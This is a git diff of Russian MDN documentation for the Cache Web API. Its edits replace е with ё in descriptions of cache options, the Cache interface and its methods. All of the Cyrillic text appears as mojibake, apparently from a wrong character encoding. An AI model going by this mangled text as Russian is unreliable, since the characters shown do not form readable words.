<li><code>ignoreVary</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, Ссли Ρ€Π°Π²Π½ΠΎΒ <code>true,</code>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ сопоставлСния ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Π½Π΅ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>VARY</code>. Β Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Ссли URL совпадаСт, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ соотвСтствиС, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π΅ΡΡ‚ΡŒ Π»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>VARYΒ </code>Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ запроса {{domxref("Response")}}. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π²Β <code>false</code>.</li>
- <li><code>cacheName</code>: Π‘Ρ‚Ρ€ΠΎΠΊΠ°Β {{domxref("DOMString")}}, которая прСдставляСт собой ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ кСш, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ вСсти поиск. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ игнорируСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>Cache.delete()</code>.</li>
+ <li><code>cacheName</code>: Π‘Ρ‚Ρ€ΠΎΠΊΠ°Β {{domxref("DOMString")}}, которая прСдставляСт собой ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ кСш, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ вСсти поиск. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ игнорируСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>Cache.delete()</code>.</li>
</ul>
</dd>
</dl>
diff --git a/files/ru/web/api/cache/index.html b/files/ru/web/api/cache/index.html
index 53bfe013d4..dc5d273133 100644
--- a/files/ru/web/api/cache/index.html
+++ b/files/ru/web/api/cache/index.html
@@ -5,18 +5,18 @@ translation_of: Web/API/Cache
---
<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>Cache</code></strong> прСдставляСт собой ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΡΒ ΠΏΠ°Ρ€Ρ‹Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code> / <code><a href="http://fetch.spec.whatwg.org/#response">Response</a>,</code>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ΅ΡˆΠΈΡ€ΡƒΡŽΡ‚ΡΡ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°Β {{domxref("ServiceWorker")}}. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ интСрфСйс Cache доступСн ΠΊΠ°ΠΊΒ Π² области видимости ΠΎΠΊΠ½Π°, Ρ‚Π°ΠΊ ΠΈ Π² области видимости Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ². НС ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ вмСстС с сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ, Π΄Π°ΠΆΠ΅ Ссли интСрфСйс ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² ΠΈΡ… спСцификации.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>Cache</code></strong> прСдставляСт собой ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΡΒ ΠΏΠ°Ρ€Ρ‹Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code> / <code><a href="http://fetch.spec.whatwg.org/#response">Response</a>,</code>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ΅ΡˆΠΈΡ€ΡƒΡŽΡ‚ΡΡ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°Β {{domxref("ServiceWorker")}}. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ интСрфСйс Cache доступСн ΠΊΠ°ΠΊΒ Π² области видимости ΠΎΠΊΠ½Π°, Ρ‚Π°ΠΊ ΠΈ Π² области видимости Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ². НС ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ вмСстС с сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ, Π΄Π°ΠΆΠ΅ Ссли интСрфСйс ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² ΠΈΡ… спСцификации.</p>
-<p>Для Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎΒ ΡΠΊΡ€ΠΈΠΏΡ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚Β Π±Ρ‹Ρ‚ΡŒ мноТСство ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>Cache</code>. Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ сам ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚Β Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽΒ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ скрипт (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β Π² Β {{domxref("ServiceWorker")}}) управляСт ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ΠΌΒ <code>Cache</code>. Записи Π² <code>Cache</code> Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹,Β ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ выполнСн явный запрос; ΠΈΡ… врСмя ΠΆΠΈΠ·Π½ΠΈ Π½Π΅ истСчСт Π΄ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° удалСния. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>CacheΒ </code>ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°ΠΉΡ‚Π΅ Π»ΡŽΠ±Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹<code>Β CacheΒ </code>для управлСния Π΅Π³ΠΎ состояниСм.</p>
+<p>Для Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎΒ ΡΠΊΡ€ΠΈΠΏΡ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚Β Π±Ρ‹Ρ‚ΡŒ мноТСство ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>Cache</code>. Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ сам ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚Β Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽΒ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ скрипт (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β Π² Β {{domxref("ServiceWorker")}}) управляСт ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ΠΌΒ <code>Cache</code>. Записи Π² <code>Cache</code> Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹,Β ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ выполнСн явный запрос; ΠΈΡ… врСмя ΠΆΠΈΠ·Π½ΠΈ Π½Π΅ истСчёт Π΄ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° удалСния. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>CacheΒ </code>ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°ΠΉΡ‚Π΅ Π»ΡŽΠ±Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹<code>Β CacheΒ </code>для управлСния Π΅Π³ΠΎ состояниСм.</p>
-<p>Π’Ρ‹ такТС отвСтствСнны за ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ очистку записСй кСша. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Β ΠΈΠΌΠ΅Π΅Ρ‚ ТСсткиС ограничСния Π½Π° объСм Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°Β ΠΊΠ΅ΡˆΠ°, доступный для исходного ΠΊΠΎΠ΄Π°. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄Π΅Π»Π°Π΅Ρ‚ всС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ дисковоС пространство, Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ кСша для скрипта. Π’ основном, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π»ΠΈΠ±ΠΎ удаляСт всС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· кСша для скрипта, Π»ΠΈΠ±ΠΎ Π½Π΅ удаляСт Π½ΠΈΡ‡Π΅Π³ΠΎ. УстанавливайтС вСрсии кСша Π²Β ΠΈΠΌΠ΅Π½ΠΈ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠ΅ΡˆΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠΉ вСрсии, которая бСзопасна для использования. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ старого кСша</a>.</p>
+<p>Π’Ρ‹ такТС отвСтствСнны за ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ очистку записСй кСша. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Β ΠΈΠΌΠ΅Π΅Ρ‚ ТёсткиС ограничСния Π½Π° объСм Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°Β ΠΊΠ΅ΡˆΠ°, доступный для исходного ΠΊΠΎΠ΄Π°. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄Π΅Π»Π°Π΅Ρ‚ всС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ дисковоС пространство, Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ кСша для скрипта. Π’ основном, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π»ΠΈΠ±ΠΎ удаляСт всС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· кСша для скрипта, Π»ΠΈΠ±ΠΎ Π½Π΅ удаляСт Π½ΠΈΡ‡Π΅Π³ΠΎ. УстанавливайтС вСрсии кСша Π²Β ΠΈΠΌΠ΅Π½ΠΈ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠ΅ΡˆΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠΉ вСрсии, которая бСзопасна для использования. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ старого кСша</a>.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: {{domxref("Cache.put")}},Β {{domxref("Cache.add")}}Β ΠΈΒ {{domxref("Cache.addAll")}} Π΄ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ сохранСниС Π² кСш Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <code>GET</code> запросов.</p>
</div>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ, рСализация Cache (ΠΊΠ°ΠΊ Π² Blink, Ρ‚Π°ΠΊ ΠΈ Π² Gecko) Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»Π° ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}Β ΠΈ {{domxref("Cache.put")}}, ΠΊΠΎΠ³Π΄Π° Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° Π±Ρ‹Π»ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΎΒ Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅. Π‘ΠΎΠ»Π΅Π΅Β ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ Π²Π΅Ρ€ΡΠΈΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ новСйший язык, утвСрТдая, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ промис ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π°ΠΏΠΈΡΡŒΒ Π±ΡƒΠ΄Π΅Ρ‚ записана в Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, Π΄Π°ΠΆΠ΅ Ссли Ρ‚Π΅Π»ΠΎ отвСта всС Π΅Ρ‰Π΅ загруТаСтся Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ, рСализация Cache (ΠΊΠ°ΠΊ Π² Blink, Ρ‚Π°ΠΊ ΠΈ Π² Gecko) Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»Π° ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}Β ΠΈ {{domxref("Cache.put")}}, ΠΊΠΎΠ³Π΄Π° Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° Π±Ρ‹Π»ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΎΒ Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅. Π‘ΠΎΠ»Π΅Π΅Β ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ Π²Π΅Ρ€ΡΠΈΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ новСйший язык, утвСрТдая, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ промис ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π°ΠΏΠΈΡΡŒΒ Π±ΡƒΠ΄Π΅Ρ‚ записана в Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, Π΄Π°ΠΆΠ΅ Ссли Ρ‚Π΅Π»ΠΎ отвСта всС Π΅Ρ‰Ρ‘ загруТаСтся Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅.</p>
</div>
<div class="note">
@@ -47,7 +47,7 @@ translation_of: Web/API/Cache
<dt>{{domxref("Cache.delete", "Cache.delete(request, options)")}}</dt>
<dd>Находит запись {{domxref("Cache")}}, Ρ‡Π΅ΠΉ ΠΊΠ»ΡŽΡ‡ являСтся запросом, ΠΈ, Π² случаС нахоТдСния, удаляСт запись {{domxref("Cache")}} Β ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΠΉΡΡΒ ΡΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>true</code>. Если ΠΆΠ΅ запись Β {{domxref("Cache")}} Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½Π°, возвращаСтся <code>false</code>.</dd>
<dt>{{domxref("Cache.keys", "Cache.keys(request, options)")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ отдаСт массив ΠΊΠ»ΡŽΡ‡Π΅ΠΉΒ {{domxref("Cache")}}.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ отдаёт массив ΠΊΠ»ΡŽΡ‡Π΅ΠΉΒ {{domxref("Cache")}}.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -56,9 +56,9 @@ translation_of: Web/API/Cache
<p>Π”Π°Π»Π΅Π΅Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ {{domxref("Cache.match", "Cache.match(request, options)")}} для опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, находится Π»ΠΈ ΡƒΠΆΠ΅ ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΉ ΡˆΡ€ΠΈΡ„Ρ‚ Π² кСшС, ΠΈ, Ссли Ρ‚Π°ΠΊ, Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ. Если ΠΆΠ΅ ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π° Π½Π΅Ρ‚, ΠΊΠΎΠ΄ получаСт этот ΡˆΡ€ΠΈΡ„Ρ‚ ΠΏΠΎ сСти и ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ {{domxref("Cache.put","Cache.put(request, response)")}} для ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ рСсурса.</p>
-<p>Код ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ,Β Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅Β ΠΏΡ€ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ {{domxref("Globalfetch.fetch","fetch()")}}. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎΒ HTTP-отвСт с ошибкой  (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 404) Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Π‘ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΡ‚Π²Π΅Ρ‚Π° с установлСнным ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ ошибки.</p>
+<p>Код ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ,Β Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅Β ΠΏΡ€ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ {{domxref("Globalfetch.fetch","fetch()")}}. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎΒ HTTP-отвСт с ошибкой  (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 404) Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Π‘ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΡ‚Π²Π΅Ρ‚Π° с установлСнным ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ ошибки.</p>
-<p>Π’Π°ΠΊΠΆΠ΅, ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚Β Π»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ ΠΏΠΎ заданию вСрсий ΠΊΠ΅ΡˆΠ°Β ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ. И хотя Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ лишь ΠΎΠ΄ΠΈΠ½ кСш, Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для мноТСства кСшСй. Он сравниваСт сокращСнный ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Β ΠΊΠ΅ΡˆΠ° с опрСдСлСнным, вСрсионным имСнСм кСша. Код Ρ‚Π°ΠΊΠΆΠ΅ удаляСт вСсь кСш, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ имя <code>CURRENT_CACHES</code>.</p>
+<p>Π’Π°ΠΊΠΆΠ΅, ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚Β Π»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ ΠΏΠΎ заданию вСрсий ΠΊΠ΅ΡˆΠ°Β ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ. И хотя Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ лишь ΠΎΠ΄ΠΈΠ½ кСш, Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для мноТСства кСшСй. Он сравниваСт сокращённый ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Β ΠΊΠ΅ΡˆΠ° с опрСдСлённым, вСрсионным имСнСм кСша. Код Ρ‚Π°ΠΊΠΆΠ΅ удаляСт вСсь кСш, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ имя <code>CURRENT_CACHES</code>.</p>
